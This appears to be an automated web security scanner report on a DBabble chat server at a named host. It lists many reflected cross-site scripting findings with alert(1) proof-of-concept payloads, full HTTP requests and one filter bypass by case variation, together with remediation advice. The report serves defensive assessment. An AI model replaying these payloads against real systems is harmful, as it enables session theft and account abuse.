Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the advanced_search request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e681"><script>alert(1)</script>b011caa1e3bbcbb39 was submitted in the advanced_search parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the after_login_page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24d4f"><script>alert(1)</script>81e48150e68 was submitted in the after_login_page parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dbabble?tok=511_23_186294028_1303431237&cmd=cmd_main2&after_login_page=24d4f"><script>alert(1)</script>81e48150e68 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/dbabble User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
The value of the cmd_get_js request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a3fb4%3balert(1)//0948971ddf7 was submitted in the cmd_get_js parameter. This input was echoed as a3fb4;alert(1)//0948971ddf7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dbabble?tok=511_23_186294028&cmd_get_js=functions.jsa3fb4%3balert(1)//0948971ddf7 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/dbabble?tok=511_23_186294028_1303431238&cmd=cmd_main_window&message_search_match_all=checked User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
The value of the cmd_get_js request parameter is copied into the HTML document as plain text between tags. The payload 91645<script>alert(1)</script>13fc5bb01ab was submitted in the cmd_get_js parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dbabble?tok=511_23_186294028&cmd_get_js=91645<script>alert(1)</script>13fc5bb01ab HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/dbabble?tok=511_23_186294028_1303431238&cmd=cmd_main_window&message_search_match_all=checked User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
The value of the cmd_get_js2 request parameter is copied into the HTML document as plain text between tags. The payload 32a49<script>alert(1)</script>d035f5b7986 was submitted in the cmd_get_js2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dbabble?cmd_get_js2=dbabble.js32a49<script>alert(1)</script>d035f5b7986 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the cmd_get_js3 request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 73689%3balert(1)//3384b2cd07 was submitted in the cmd_get_js3 parameter. This input was echoed as 73689;alert(1)//3384b2cd07 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cmd_get_js3 request parameter is copied into the HTML document as plain text between tags. The payload 28b43<script>alert(1)</script>83841498495 was submitted in the cmd_get_js3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the gid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d88be"><ScRiPt>alert(1)</ScRiPt>f187283f81a was submitted in the gid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
Request
GET /dbabble?cmd=group_items&gid=1d88be"><ScRiPt>alert(1)</ScRiPt>f187283f81a&hid=511&tok=511_23_131192293_1303447253 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/dbabble?tok=511_23_131192293_1303447073&cmd=r_search_group User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TEMPLATE=Standard; LANG=English; TOKEN=579652443; TOKEN_23=579652443; SHOW_FEATURES=0; db_pass=; db_user=
The value of the leave_message request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 76518"%3balert(1)//19efb29cdd8 was submitted in the leave_message parameter. This input was echoed as 76518";alert(1)//19efb29cdd8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
function LiveChat() { initial_message=""; other_initial_message="Hi, -NAME- here, how can I help."; title_message="Live Chat"; heading_message="" alt_message="" leave_message="Leave Live Chat76518";alert(1)//19efb29cdd8"; window_width="0"; window_height="0"; sub_frame_name=""; after_logout_page="" if (window_width=="0") window_width="296"; if (window_height=="0") window_height="195"; new_window=1;
The value of the other_initial_message request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2829b"%3balert(1)//eaa60ab7670 was submitted in the other_initial_message parameter. This input was echoed as 2829b";alert(1)//eaa60ab7670 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
function LiveChat() { initial_message=""; other_initial_message="Hi, -NAME- here, how can I help.2829b";alert(1)//eaa60ab7670"; title_message="Live Chat"; heading_message="" alt_message="" leave_message="Leave Live Chat"; window_width="0"; window_height="0"; sub_frame_name=""; after_logout_page="" if (window_width== ...[SNIP]...
The value of the title_message request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4a848"%3balert(1)//42f1a2a5f86 was submitted in the title_message parameter. This input was echoed as 4a848";alert(1)//42f1a2a5f86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
function LiveChat() { initial_message=""; other_initial_message="Hi, -NAME- here, how can I help."; title_message="Live Chat4a848";alert(1)//42f1a2a5f86"; heading_message="" alt_message="" leave_message="Leave Live Chat"; window_width="0"; window_height="0"; sub_frame_name=""; after_logout_page="" if (window_width=="0") window_width="296"; if ...[SNIP]...
The value of the tok request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 487b4"%3balert(1)//5372758bf855c96b3 was submitted in the tok parameter. This input was echoed as 487b4";alert(1)//5372758bf855c96b3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the tok request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ff020"%3balert(1)//b29681a3f0b was submitted in the tok parameter. This input was echoed as ff020";alert(1)//b29681a3f0b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dbabble?tok=ff020"%3balert(1)//b29681a3f0b&cmd=cmd_main2&after_login_page= HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/dbabble User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
The value of the tpl_page request parameter is copied into the HTML document as plain text between tags. The payload 80e10<script>alert(1)</script>2db36eb67be was submitted in the tpl_page parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dbabble?tok=511_23_186294028_1303431238&cmd=r_search_user&default_sort_by=6&is_online_only=true&sort_by=6&tpl_page=search_user2.htm80e10<script>alert(1)</script>2db36eb67be HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
Unable to read (search_user2.htm80e10<script>alert(1)</script>2db36eb67be) (/usr/local/dbabble/tpl/search_user2.htm80e10<script>alert(1)</script>2db36eb67be)
The value of the user request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a62c6"><script>alert(1)</script>449c35f3a97c7add4 was submitted in the user parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /dbabble?user=Guesta62c6"><script>alert(1)</script>449c35f3a97c7add4&pass=&is_save_password=true&save_name=neither&show_features=0&r_login=Login&u_day=21&u_hour=19&u_min=13&u_sec=51&qfiller=_1303431231615&window_title=&change_lang=&change_template=&after_login_page=&hide_menu_and_friends=&after_logout_page=&override_dot_top=&override_main_name=&override_check_main_window=&new_window=0 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/ Cache-Control: max-age=0 Origin: http://smtp.netwin.co.nz:8132 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the tok request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb878"%3balert(1)//0043cddbd79eb981d was submitted in the tok parameter. This input was echoed as eb878";alert(1)//0043cddbd79eb981d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the tok request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e8273"%3balert(1)//4dd32727462d89a21 was submitted in the tok parameter. This input was echoed as e8273";alert(1)//4dd32727462d89a21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the tok request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 561be"%3balert(1)//5fac113fab7c0aa79 was submitted in the tok parameter. This input was echoed as 561be";alert(1)//5fac113fab7c0aa79 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 8f168<a>e8a0ab03140 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /forums/8f168<a>e8a0ab03140/330?tok=511_23_131192293_1303447261&page_top=0 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/dbabble?cmd=group_items&gid=1&hid=511&tok=511_23_131192293_1303447253 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TEMPLATE=Standard; LANG=English; TOKEN=579652443; TOKEN_23=579652443; SHOW_FEATURES=0; db_pass=; db_user=
<STYLE TYPE="text/css"> <!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT ...[SNIP]... <b>There is no forum called '8f168<a>e8a0ab03140'</b> ...[SNIP]...
The value of the page_top request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e07db"><script>alert(1)</script>e88b0b66f62 was submitted in the page_top parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /forums/1/330?tok=511_23_131192293_1303447261&page_top=0e07db"><script>alert(1)</script>e88b0b66f62 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/dbabble?cmd=group_items&gid=1&hid=511&tok=511_23_131192293_1303447253 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TEMPLATE=Standard; LANG=English; TOKEN=579652443; TOKEN_23=579652443; SHOW_FEATURES=0; db_pass=; db_user=
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 4f406<script>alert(1)</script>d987ce53b8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /help/English/Standard/contents.htm4f406<script>alert(1)</script>d987ce53b8 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive Referer: http://smtp.netwin.co.nz:8132/dbabble User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c1f40<script>alert(1)</script>e65919ba060 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /help/English/Standard/friends.htmc1f40<script>alert(1)</script>e65919ba060 HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload cfa33<script>alert(1)</script>4bf269e397c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /help/English/Standard/winabout.htmcfa33<script>alert(1)</script>4bf269e397c HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
The value of the db_user cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a452"><script>alert(1)</script>da460cef6f6 was submitted in the db_user cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=6a452"><script>alert(1)</script>da460cef6f6
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
<STYLE TYPE="text/css"> <!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPU ...[SNIP]... <font color="white">Brought to you by NetWin Server Software - <a class='href_encode_class' target='notvchat' href='http://netwinsite.com'>http://netwinsite.com</a> ...[SNIP]... <font class=small_font>
Powered by Netwin's <a href="http://netwinsite.com/dbabble/index.htm">DBabble secure chat, instant messaging and discussion server</a> ...[SNIP]... <b><a href="http://www.netwinsite.com">Netwin -- Server Software</a> ...[SNIP]... <td class=small_font><a href="http://netwinsite.com/dnews.htm">DNews -- UseNet News Server Software</a> ...[SNIP]... <td class=small_font><a href="http://netwinsite.com/surgemail/index.htm">SurgeMail -- Mail Server Software</a> ...[SNIP]... <td class=small_font><a href="http://netwinsite.com/webmail/index.htm">WebMail -- Web Mail Client</a> ...[SNIP]... <td class=small_font><a href="http://netwinsite.com/surgeftp/index.htm">SurgeFTP -- Ftp Server Software</a> ...[SNIP]... <td class=small_font><a href="http://netwinsite.com/dbabble/index.htm">DBabble -- Chat Server, Instant Messaging, Discussions / Forums</a> ...[SNIP]...
The page contains a form which is used to submit a user-supplied file to the following URL:
http://smtp.netwin.co.nz:8132/dbabble
Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.
Issue background
File upload functionality is commonly associated with a number of vulnerabilities, including:
File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service
You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.
Some factors to consider when evaluating the security impact of this functionality include:
Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.
Issue remediation
File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:
Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defence-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.
Request
GET /dbabble?tok=511_23_186294028_1303431238&cmd=send_message_to HTTP/1.1 Host: smtp.netwin.co.nz:8132 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TOKEN=1544539209; TOKEN_23=1544539209; TEMPLATE=Standard; LANG=English; SHOW_FEATURES=0; db_pass=; db_user=
